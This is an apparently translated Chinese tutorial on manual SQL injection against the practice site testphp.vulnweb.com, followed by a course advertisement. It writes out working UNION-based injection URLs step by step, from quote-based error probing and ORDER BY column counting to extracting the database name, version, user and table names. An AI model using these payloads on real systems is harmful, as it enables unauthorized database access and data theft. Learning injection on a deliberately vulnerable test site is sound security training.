这篇文章基于上一篇文章,在那里我们利用dhakkan平台学习了采用不同的技术手动进行SQL注入。今天仍然是手动进行SQL注入,不过为了减轻你安装dhakkan平台的负担,这次改为使用在线网页vulnweb.com。
开始吧!
首先,在浏览器中打开给定的目标链接http://testphp.vulnweb.com/artists.php?artist=1,我们将要对"id=1"进行SQL注入测试。
使用基于错误返回的注入技术,在输入的最后添加一个(')来破坏查询,即:
testphp.vulnweb.com/artists.php?artist=1'
由上图可以看出,我们得到了一个错误返回信息。接着使用关键字ORDER BY对记录进行升序或降序排列,即:
testphp.vulnweb.com/artists.php?artist=1 order by 1
类似的,一个个地进行order by 2, 3等等,即:
testphp.vulnweb.com/artists.php?artist=1 order by 2
...
testphp.vulnweb.com/artists.php?artist=1 order by 4
由上图可以看出,当order by 4时,我们得到了一个错误,这意味着只有三条记录。
现在使用基于联合查询的注入技术选择不同表的描述以进行更深入的渗透,即:
testphp.vulnweb.com/artists.php?artist=1 union select 1,2,3
由上图可以看出,只显示出了一个表的描述信息。
现在通过URL给数据库传递错误的输入,将artist=1替换为artist=-1(将第一条查询的结果集置为空),即:
testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3
由上图可以看出,显示的是后两列的表。
接着来获取数据库名,即:
testphp.vulnweb.com/artists.php?artist=-1 union select 1,database(),3
由上图可以看出,数据库名为acuart。
继续获取数据库系统版本和当前用户名,即:
testphp.vulnweb.com/artists.php?artist=-1 union select 1,version(),current_user()
由上图可以看出,数据库系统版本为5.1.73-0ubuntu0.10.04.1,当前用户为acuart@localhost。
接下来我们要获取的是数据库中的表名,即:
testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1
由上图可以看出,第一个表名为artists。(注:这张图是译者所截,原文此处有误,已通知原作者,待原文修正后此图删除。)
与此类似的查询可得到剩余的表名,即:
testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1
由上图可以看出,第二个表名为carts。
testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1
由上图可以看出,第三个表名为categ。
testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1
由上图可以看出,第四个表名为featured。
...
testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 7,1
由上图可以看出,第八个表名为users。
testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 8,1
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)